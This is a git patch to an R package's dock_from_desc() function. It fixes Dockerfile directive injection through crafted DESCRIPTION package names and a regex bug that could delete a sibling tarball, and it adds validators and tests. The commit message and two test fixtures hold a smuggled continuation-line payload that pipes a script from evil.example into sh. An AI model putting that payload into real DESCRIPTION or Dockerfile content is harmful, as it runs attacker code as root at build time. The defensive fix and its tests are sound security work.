From 865c8de17c67230200a2928ead83007a24d41b2e Mon Sep 17 00:00:00 2001 From: Vincent Guyader Date: Mon, 11 May 2026 19:59:46 +0200 Subject: [PATCH] fix(security): validate package names read from the DESCRIPTION `dock_from_desc()` interpolates package names from the (possibly untrusted) `DESCRIPTION` into generated Dockerfile directives with no validation, on two paths: 1. `build_from_source = FALSE`: the `Package:` field goes into the `COPY _*.tar.gz /app.tar.gz` directive and the `list.files()` tar.gz-cleanup glob. 2. `build_from_source = TRUE` (the default): every `Imports:` / `Depends:` / `Suggests:` / `LinkingTo:` / `Enhances:` name (`desc::desc_get_deps(path)$package`) goes into a generated `remotes::install_version("", ...)` install RUN. `read.dcf()` and `desc::desc_get_deps()` both join DCF continuation lines with `\n`, so a crafted field such as Package: app RUN curl -s https://evil.example/x.sh | sh # or Imports: evilpkg RUN curl -s https://evil.example/x.sh | sh # yields a value containing an embedded newline, and the generated Dockerfile then carries an extra standalone `RUN` directive on the next physical line -- attacker-controlled commands executing as root at `docker build` time (build secrets, mounted SSH keys, supply-chain poisoning of the produced image). The `DESCRIPTION` is a plausible attacker artifact: received from a colleague, vendored, a CI cache, a cloned tarball. Add `.validate_pkg_name()` / `.validate_pkg_names()` (CRAN package-name grammar `^[a-zA-Z][a-zA-Z0-9.]*$` -- letters, digits and dots only, starting with a letter; no whitespace, newlines or shell/Dockerfile metacharacters) and call them at `dock_from_desc()` entry: the `Package:` field once (reused for the `COPY` directive, the cleanup glob and the "tar.gz created" message), and every dependency-field name after the R/base-package filter. Two related hardening tweaks on the same code path: - Read the `Package:` field by name (`read.dcf(path)[1L, "Package"]`) instead of positionally (`read.dcf(path)[1]`): DCF field order is not guaranteed, so a `DESCRIPTION` with `Type:` / `Encoding:` ahead of `Package:` would otherwise validate and reuse the wrong value. - Build the tar.gz-cleanup `list.files()` pattern from a glob (`glob2rx(sprintf("%s_*.tar.gz", pkg_name))`) instead of a raw `sprintf("%s_.+.tar.gz", pkg_name)`: a dot in `pkg_name` (allowed by the CRAN grammar, e.g. `R.utils`) was being treated as a regex wildcard and could `file.remove()` a sibling package's tarball (`RZutils_*.tar.gz`). Tests added (red-first): a `DESCRIPTION` whose `Package:` field, resp. whose `Imports:` field, carries a continuation-line `RUN` payload must raise the package-name validation error rather than reaching the Dockerfile (verified red against the unpatched function -- the payload landed in the generated Dockerfile as a standalone `RUN` line -- and green after the fix); and `dock_from_desc(..., update_tar_gz = TRUE)` for `Package: R.utils` must not delete a sibling `RZutils_*.tar.gz` (verified red against the `sprintf` pattern, green after `glob2rx`). Benign `DESCRIPTION` still produces the expected `COPY` and `install_version` lines. Full test suite: 0 failures. R CMD check: 0/0/0 (one transient "unable to verify current time" host NOTE, unrelated). Same fix shape as the `dock_from_renv()` lockfile-injection fix in #112. --- NAMESPACE | 1 + NEWS.md | 16 ++++ R/dock_from_desc.R | 25 +++++- R/utils.R | 57 ++++++++++++ tests/testthat/test-dock_from_desc.R | 124 +++++++++++++++++++++++++++ 5 files changed, 219 insertions(+), 4 deletions(-) diff --git a/NAMESPACE b/NAMESPACE index 9824a4b..7821314 100644 --- a/NAMESPACE +++ b/NAMESPACE @@ -29,5 +29,6 @@ importFrom(remotes,package_deps) importFrom(usethis,use_build_ignore) importFrom(utils,download.file) importFrom(utils,getFromNamespace) +importFrom(utils,glob2rx) importFrom(utils,installed.packages) importFrom(utils,packageVersion) diff --git a/NEWS.md b/NEWS.md index e84629e..926a790 100644 --- a/NEWS.md +++ b/NEWS.md @@ -75,6 +75,22 @@ an embedded newline would pass validation and then emit a two-line `FROM` directive. Not exploitable for command injection, but it could silently break `docker build`. +- Fixed a long-standing code-injection path in `dock_from_desc()`: + package names read from the `DESCRIPTION` were interpolated into + generated Dockerfile directives without validation. `read.dcf()` and + `desc::desc_get_deps()` both join DCF continuation lines with `\n`, + so a crafted `Package:` field, or a crafted `Imports:` / `Depends:` + / `Suggests:` / `LinkingTo:` entry, could carry a continuation line + that injects an extra Dockerfile directive (e.g. a `RUN`) executing + as root at `docker build` time -- the `Package:` field via the + `COPY _*.tar.gz /app.tar.gz` line and the tar.gz-cleanup glob + on the `build_from_source = FALSE` path, and the dependency names + via the `remotes::install_version("", ...)` install RUNs on + the default `build_from_source = TRUE` path. Both the package name + and every dependency-field name are now validated against the CRAN + package-name grammar at function entry. The bug predates 0.3.0. + Found by the same internal security audit as the `dock_from_renv()` + fix above. ## New features diff --git a/R/dock_from_desc.R b/R/dock_from_desc.R index c0bb4ff..a832c89 100644 --- a/R/dock_from_desc.R +++ b/R/dock_from_desc.R @@ -89,7 +89,7 @@ quote_not_na <- function(x){ #' @export #' @rdname dockerfiles #' -#' @importFrom utils installed.packages packageVersion +#' @importFrom utils installed.packages packageVersion glob2rx #' @importFrom remotes dev_package_deps #' @importFrom desc desc_get_deps desc_get #' @importFrom usethis use_build_ignore @@ -121,10 +121,23 @@ dock_from_desc <- function( .validate_repos(repos) .validate_extra_sysreqs(extra_sysreqs) path <- fs::path_abs(path) + # Package name read from the (possibly untrusted) DESCRIPTION. It is + # interpolated into the `COPY _*.tar.gz /app.tar.gz` line and the + # tar.gz-cleanup glob below for `build_from_source = FALSE`; validate + # it up front so a crafted `Package:` field cannot inject an extra + # Dockerfile directive. + pkg_name <- read.dcf(path)[1L, "Package"] + .validate_pkg_name(pkg_name) packages <- desc_get_deps(path)$package packages <- packages[packages != "R"] # remove R packages <- packages[!packages %in% base_pkg_] # remove base and recommended + # The dependency-field names are interpolated into the generated + # `remotes::install_version("", ...)` install RUNs (and queried + # for system requirements); validate them like the `Package:` field + # so a crafted Imports / Depends / Suggests / LinkingTo entry cannot + # inject an extra Dockerfile directive at `docker build` time. + .validate_pkg_names(packages) if (sysreqs) { @@ -300,7 +313,11 @@ dock_from_desc <- function( if (!build_from_source) { if (update_tar_gz) { old_version <- list.files( - pattern = sprintf("%s_.+.tar.gz", read.dcf(path)[1]), + # `list.files(pattern =)` is a regex; build it from a glob so a + # dot in `pkg_name` (allowed by the CRAN package-name grammar, + # e.g. `R.utils`) is matched literally and a sibling tarball + # such as `RZutils_*.tar.gz` is not swept up. + pattern = glob2rx(sprintf("%s_*.tar.gz", pkg_name)), full.names = TRUE ) @@ -336,7 +353,7 @@ dock_from_desc <- function( cat_green_tick( sprintf( " %s_%s.tar.gz created.", - read.dcf(path)[1], + pkg_name, read.dcf(path)[1, ][["Version"]] ) ) @@ -347,7 +364,7 @@ dock_from_desc <- function( # we use an already built tar.gz file dock$COPY( - from = paste0(read.dcf(path)[1], "_*.tar.gz"), + from = paste0(pkg_name, "_*.tar.gz"), to = "/app.tar.gz" ) dock$RUN( diff --git a/R/utils.R b/R/utils.R index bd0c328..12cea07 100644 --- a/R/utils.R +++ b/R/utils.R @@ -312,6 +312,63 @@ cat_info <- function(...) { invisible() } +#' @noRd +.validate_pkg_name <- function(x) { + if (!is.character(x) || length(x) != 1L || is.na(x)) { + stop( + "the package name read from the DESCRIPTION must be a single ", + "string, got: ", + deparse(x) + ) + } + # CRAN package-name grammar: a letter, then letters / digits / dots. + # `read.dcf()` joins DCF continuation lines with `\n`, so a crafted + # `Package:` field could otherwise smuggle a newline (and an extra + # Dockerfile directive) into the `COPY _*.tar.gz` line generated + # for `build_from_source = FALSE`. This grammar excludes whitespace, + # newlines and every shell / Dockerfile metacharacter. + if (!grepl("^[a-zA-Z][a-zA-Z0-9.]*$", x)) { + stop( + "the package name read from the DESCRIPTION must match the CRAN ", + "package-name grammar /^[a-zA-Z][a-zA-Z0-9.]*$/ ", + "(letters, digits and dots only, starting with a letter), got: ", + deparse(x) + ) + } + invisible() +} + +#' @noRd +.validate_pkg_names <- function(x) { + if (length(x) == 0L) { + return(invisible()) + } + if (!is.character(x)) { + stop( + "the package names read from the DESCRIPTION dependency fields ", + "must be a character vector, got: ", + deparse(x) + ) + } + # Same CRAN package-name grammar as `.validate_pkg_name()`, applied to + # every Imports / Depends / Suggests / LinkingTo / Enhances entry. + # `desc::desc_get_deps()` joins DCF continuation lines with `\n`, so a + # crafted dependency field could otherwise smuggle a newline (and an + # extra Dockerfile directive) into the generated + # `remotes::install_version("", ...)` install RUN. + bad <- is.na(x) | !grepl("^[a-zA-Z][a-zA-Z0-9.]*$", x) + if (any(bad)) { + stop( + "package names read from the DESCRIPTION dependency fields must ", + "match the CRAN package-name grammar /^[a-zA-Z][a-zA-Z0-9.]*$/ ", + "(letters, digits and dots only, starting with a letter); ", + "invalid: ", + paste(vapply(x[bad], deparse, character(1)), collapse = ", ") + ) + } + invisible() +} + #' @noRd .validate_renv_paths_cache <- function(x) { if (is.null(x)) { diff --git a/tests/testthat/test-dock_from_desc.R b/tests/testthat/test-dock_from_desc.R index b39d4a6..faf0288 100644 --- a/tests/testthat/test-dock_from_desc.R +++ b/tests/testthat/test-dock_from_desc.R @@ -356,6 +356,130 @@ withr::with_dir( expect_match(df, "remotes::install_local", fixed = TRUE) }) + test_that("dock_from_desc(update_tar_gz = TRUE) does not sweep a sibling package's tarball when the package name contains a dot", { + skip_if(is_rdevel, "skip on R-devel") + # `list.files(pattern =)` is a regex. With `Package: R.utils`, + # `sprintf("%s_.+.tar.gz", "R.utils")` also matches + # `RZutils_*.tar.gz` and would `file.remove()` it. Building the + # pattern from a glob keeps the dot literal. + dot_dir <- tempfile(pattern = "dot-pkg") + dir.create(dot_dir) + on.exit(unlink(dot_dir, recursive = TRUE), add = TRUE) + writeLines( + c( + "Package: R.utils", + "Version: 1.0.0", + "Title: Demo", + "Description: Demo.", + "License: MIT", + "Authors@R: person('A', 'B', email = 'a@b.c', role = c('aut', 'cre'))" + ), + file.path(dot_dir, "DESCRIPTION") + ) + file.create(file.path(dot_dir, "R.utils_0.9.0.tar.gz")) + file.create(file.path(dot_dir, "RZutils_0.9.0.tar.gz")) + withr::with_dir(dot_dir, { + testthat::with_mocked_bindings( + code = testthat::with_mocked_bindings( + code = dock_from_desc( + "DESCRIPTION", + build_from_source = FALSE, + update_tar_gz = TRUE + ), + package_deps = function(packages) { + data.frame( + package = character(0), + is_cran = logical(0), + installed = character(0), + stringsAsFactors = FALSE + ) + }, + .package = "remotes" + ), + get_sysreqs = function(...) character(0), + build = function(path, dest_path, vignettes) { + fake <- file.path(dest_path, "R.utils_1.0.0.tar.gz") + file.create(fake) + fake + }, + use_build_ignore = function(files) invisible(TRUE) + ) + }) + # The unrelated sibling tarball must survive. + expect_true(file.exists(file.path(dot_dir, "RZutils_0.9.0.tar.gz"))) + # The package's own old tarball is the one that gets cleaned. + expect_false(file.exists(file.path(dot_dir, "R.utils_0.9.0.tar.gz"))) + }) + + test_that("dock_from_desc rejects a DESCRIPTION whose Package field carries a continuation-line injection", { + skip_if(is_rdevel, "skip on R-devel") + # `read.dcf()` joins DCF continuation lines with `\n`. Without + # validation, a `Package:` field with a continuation line is + # interpolated into the `COPY _*.tar.gz /app.tar.gz` line + # generated for `build_from_source = FALSE`, injecting an extra + # Dockerfile directive that runs as root at `docker build` time. + evil_dir <- tempfile(pattern = "evil-desc") + dir.create(evil_dir) + on.exit(unlink(evil_dir, recursive = TRUE), add = TRUE) + writeLines( + c( + "Package: app", + " RUN curl -s https://evil.example/x.sh | sh #", + "Version: 1.0.0", + "Title: Demo", + "Description: Demo.", + "License: MIT", + "Authors@R: person('A', 'B', email = 'a@b.c', role = c('aut', 'cre'))" + ), + file.path(evil_dir, "DESCRIPTION") + ) + expect_error( + testthat::with_mocked_bindings( + code = dock_from_desc( + file.path(evil_dir, "DESCRIPTION"), + build_from_source = FALSE, + update_tar_gz = FALSE + ), + get_sysreqs = function(...) character(0) + ), + "package name" + ) + }) + + test_that("dock_from_desc rejects a DESCRIPTION whose Imports field carries a continuation-line injection", { + skip_if(is_rdevel, "skip on R-devel") + # `desc::desc_get_deps()` joins DCF continuation lines with `\n` + # like `read.dcf()`. Without validation, a crafted dependency + # name is interpolated into the generated + # `remotes::install_version("", ...)` RUN, injecting an + # extra Dockerfile directive that runs as root at `docker build` + # time -- and this path fires on the default + # `build_from_source = TRUE`, not only on the COPY path. + evil_dir <- tempfile(pattern = "evil-desc-imports") + dir.create(evil_dir) + on.exit(unlink(evil_dir, recursive = TRUE), add = TRUE) + writeLines( + c( + "Package: app", + "Version: 1.0.0", + "Title: Demo", + "Description: Demo.", + "License: MIT", + "Authors@R: person('A', 'B', email = 'a@b.c', role = c('aut', 'cre'))", + "Imports:", + " evilpkg", + " RUN curl -s https://evil.example/x.sh | sh #" + ), + file.path(evil_dir, "DESCRIPTION") + ) + expect_error( + testthat::with_mocked_bindings( + code = dock_from_desc(file.path(evil_dir, "DESCRIPTION")), + get_sysreqs = function(...) character(0) + ), + "package name" + ) + }) test_that("dock_from_desc messages the user when DESCRIPTION declares SystemRequirements", { skip_if(is_rdevel, "skip on R-devel")